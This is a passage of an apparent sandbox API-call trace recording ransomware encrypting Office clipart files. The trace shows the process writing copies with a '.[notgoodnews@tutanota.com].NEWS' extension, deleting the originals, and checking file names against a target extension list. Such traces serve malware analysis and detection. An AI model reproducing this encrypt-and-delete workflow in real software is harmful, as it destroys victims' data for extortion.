lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xd20, lpOverlapped=0x0) returned 1 [0075.936] ReadFile (in: hFile=0x2c4, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1 [0075.936] WriteFile (in: hFile=0x384, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xec, lpOverlapped=0x0) returned 1 [0075.936] SetEndOfFile (hFile=0x384) returned 1 [0075.936] CloseHandle (hObject=0x384) returned 1 [0075.937] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0075.937] SetEndOfFile (hFile=0x2c4) returned 1 [0075.938] CloseHandle (hObject=0x2c4) returned 1 [0075.938] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0075.938] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01039_.wmf")) returned 1 [0075.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68 [0075.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68 [0075.942] lstrlenW (lpString=".doc") returned 4 [0075.942] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0075.942] lstrlenW (lpString=".docx") returned 5 [0075.942] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0075.942] lstrlenW (lpString=".pdf") returned 4 [0075.942] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0075.942] lstrlenW (lpString=".xls") returned 4 [0075.942] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0075.942] lstrlenW (lpString=".xlsx") returned 5 [0075.943] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0075.943] lstrlenW (lpString=".ppt") returned 4 [0075.943] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0075.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68 [0075.943] lstrlenW (lpString=".zip") returned 4 [0075.943] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0075.943] lstrlenW (lpString=".rar") returned 4 [0075.943] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0075.943] lstrlenW (lpString=".bz2") returned 4 [0075.943] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0075.943] lstrlenW (lpString=".7z") returned 3 [0075.943] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0075.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68 [0075.943] lstrlenW (lpString=".dbf") returned 4 [0075.943] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0075.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68 [0075.943] lstrlenW (lpString=".1cd") returned 4 [0075.943] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0075.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68 [0075.943] lstrlenW (lpString=".jpg") returned 4 [0075.943] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0075.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68 [0075.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68 [0075.943] lstrlenW (lpString=".doc") returned 4 [0075.943] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0075.943] lstrlenW (lpString=".docx") returned 5 [0075.943] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0075.943] lstrlenW (lpString=".pdf") returned 4 [0075.943] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0075.943] lstrlenW (lpString=".xls") returned 4 [0075.943] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0075.943] lstrlenW (lpString=".xlsx") returned 5 [0075.943] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0075.944] lstrlenW (lpString=".ppt") returned 4 [0075.944] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0075.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68 [0075.944] lstrlenW (lpString=".zip") returned 4 [0075.944] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0075.944] lstrlenW (lpString=".rar") returned 4 [0075.944] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0075.944] lstrlenW (lpString=".bz2") returned 4 [0075.944] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0075.944] lstrlenW (lpString=".7z") returned 3 [0075.944] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0075.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68 [0075.944] lstrlenW (lpString=".dbf") returned 4 [0075.944] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0075.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68 [0075.944] lstrlenW (lpString=".1cd") returned 4 [0075.944] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0075.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68 [0075.944] lstrlenW (lpString=".jpg") returned 4 [0075.944] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0075.944] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0075.944] lstrlenW (lpString="AN01044_.WMF") returned 12 [0075.944] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01044_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0075.945] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=1596) returned 1 [0075.945] CloseHandle (hObject=0x2c4) returned 1 [0075.946] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01044_.wmf")) returned 0x220 [0075.946] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01044_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0075.946] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01044_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0075.946] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0075.946] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0075.946] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01044_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0075.946] GetLastError () returned 0x0 [0075.946] ReadFile (in: hFile=0x2c4, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x63c, lpOverlapped=0x0) returned 1 [0075.947] WriteFile (in: hFile=0x384, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0x640, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0x640, lpOverlapped=0x0) returned 1 [0075.948] ReadFile (in: hFile=0x2c4, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1 [0075.948] WriteFile (in: hFile=0x384, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xec, lpOverlapped=0x0) returned 1 [0075.949] SetEndOfFile (hFile=0x384) returned 1 [0075.949] CloseHandle (hObject=0x384) returned 1 [0075.950] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0075.950] SetEndOfFile (hFile=0x2c4) returned 1 [0075.951] CloseHandle (hObject=0x2c4) returned 1 [0075.951] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0075.951] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01044_.wmf")) returned 1 [0075.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68 [0075.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68 [0075.951] lstrlenW (lpString=".doc") returned 4 [0075.951] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0075.951] lstrlenW (lpString=".docx") returned 5 [0075.951] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0075.951] lstrlenW (lpString=".pdf") returned 4 [0075.951] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0075.951] lstrlenW (lpString=".xls") returned 4 [0075.951] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0075.951] lstrlenW (lpString=".xlsx") returned 5 [0075.951] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0075.951] lstrlenW (lpString=".ppt") returned 4 [0075.951] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0075.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68 [0075.951] lstrlenW (lpString=".zip") returned 4 [0075.951] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0075.952] lstrlenW (lpString=".rar") returned 4 [0075.952] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0075.952] lstrlenW (lpString=".bz2") returned 4 [0075.952] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0075.952] lstrlenW (lpString=".7z") returned 3 [0075.952] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0075.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68 [0075.952] lstrlenW (lpString=".dbf") returned 4 [0075.952] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0075.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68 [0075.952] lstrlenW (lpString=".1cd") returned 4 [0075.952] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0075.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68 [0075.952] lstrlenW (lpString=".jpg") returned 4 [0075.952] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0075.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68 [0075.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68 [0075.952] lstrlenW (lpString=".doc") returned 4 [0075.952] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0075.952] lstrlenW (lpString=".docx") returned 5 [0075.952] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0075.952] lstrlenW (lpString=".pdf") returned 4 [0075.952] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0075.952] lstrlenW (lpString=".xls") returned 4 [0075.952] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0075.952] lstrlenW (lpString=".xlsx") returned 5 [0075.952] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0075.952] lstrlenW (lpString=".ppt") returned 4 [0075.952] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0075.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68 [0075.952] lstrlenW (lpString=".zip") returned 4 [0075.952] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0075.952] lstrlenW (lpString=".rar") returned 4 [0075.952] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0075.953] lstrlenW (lpString=".bz2") returned 4 [0075.953] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0075.953] lstrlenW (lpString=".7z") returned 3 [0075.953] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0075.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68 [0075.953] lstrlenW (lpString=".dbf") returned 4 [0075.953] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0075.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68 [0075.953] lstrlenW (lpString=".1cd") returned 4 [0075.953] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0075.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68 [0075.953] lstrlenW (lpString=".jpg") returned 4 [0075.953] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0075.953] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0075.953] lstrlenW (lpString="AN01060_.WMF") returned 12 [0075.953] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01060_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0075.953] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=7968) returned 1 [0075.953] CloseHandle (hObject=0x2c4) returned 1 [0075.953] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01060_.wmf")) returned 0x220 [0075.953] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01060_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0075.954] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01060_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0075.954] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0075.954] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0075.954] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01060_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0075.954] GetLastError () returned 0x0 [0075.954] ReadFile (in: hFile=0x2c4, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x1f20, lpOverlapped=0x0) returned 1 [0075.955] WriteFile (in: hFile=0x384, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0x1f30, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0x1f30, lpOverlapped=0x0) returned 1 [0075.956] ReadFile (in: hFile=0x2c4, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1 [0075.956] WriteFile (in: hFile=0x384, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xec, lpOverlapped=0x0) returned 1 [0075.957] SetEndOfFile (hFile=0x384) returned 1 [0075.957] CloseHandle (hObject=0x384) returned 1 [0075.958] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0075.958] SetEndOfFile (hFile=0x2c4) returned 1 [0075.959] CloseHandle (hObject=0x2c4) returned 1 [0075.959] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0075.959] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01060_.wmf")) returned 1 [0075.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68 [0075.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68 [0075.959] lstrlenW (lpString=".doc") returned 4 [0075.959] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0075.960] lstrlenW (lpString=".docx") returned 5 [0075.960] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0075.960] lstrlenW (lpString=".pdf") returned 4 [0075.960] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0075.960] lstrlenW (lpString=".xls") returned 4 [0075.960] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0075.960] lstrlenW (lpString=".xlsx") returned 5 [0075.960] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0075.960] lstrlenW (lpString=".ppt") returned 4 [0075.960] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0075.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68 [0075.960] lstrlenW (lpString=".zip") returned 4 [0075.960] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0075.960] lstrlenW (lpString=".rar") returned 4 [0075.960] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0075.960] lstrlenW (lpString=".bz2") returned 4 [0075.960] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0075.960] lstrlenW (lpString=".7z") returned 3 [0075.960] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0075.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68 [0075.960] lstrlenW (lpString=".dbf") returned 4 [0075.960] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0075.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68 [0075.960] lstrlenW (lpString=".1cd") returned 4 [0075.960] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0075.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68 [0075.960] lstrlenW (lpString=".jpg") returned 4 [0075.960] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0075.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68 [0075.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68 [0075.960] lstrlenW (lpString=".doc") returned 4 [0075.960] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0075.960] lstrlenW (lpString=".docx") returned 5 [0075.960] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0075.960] lstrlenW (lpString=".pdf") returned 4 [0075.961] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0075.961] lstrlenW (lpString=".xls") returned 4 [0075.961] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0075.961] lstrlenW (lpString=".xlsx") returned 5 [0075.961] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0075.961] lstrlenW (lpString=".ppt") returned 4 [0075.961] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0075.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68 [0075.961] lstrlenW (lpString=".zip") returned 4 [0075.961] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0075.961] lstrlenW (lpString=".rar") returned 4 [0075.961] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0075.961] lstrlenW (lpString=".bz2") returned 4 [0075.961] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0075.961] lstrlenW (lpString=".7z") returned 3 [0075.961] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0075.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68 [0075.961] lstrlenW (lpString=".dbf") returned 4 [0075.961] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0075.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68 [0075.961] lstrlenW (lpString=".1cd") returned 4 [0075.961] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0075.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68 [0075.961] lstrlenW (lpString=".jpg") returned 4 [0075.961] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0075.961] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0075.961] lstrlenW (lpString="AN01084_.WMF") returned 12 [0075.961] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01084_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0075.962] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=1832) returned 1 [0075.962] CloseHandle (hObject=0x2c4) returned 1 [0075.962] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01084_.wmf")) returned 0x220 [0075.962] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01084_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0075.962] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01084_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0075.962] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0075.962] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0075.962] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01084_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0075.962] GetLastError () returned 0x0 [0075.962] ReadFile (in: hFile=0x2c4, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x728, lpOverlapped=0x0) returned 1 [0076.118] WriteFile (in: hFile=0x384, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0x730, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0x730, lpOverlapped=0x0) returned 1 [0076.119] ReadFile (in: hFile=0x2c4, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, 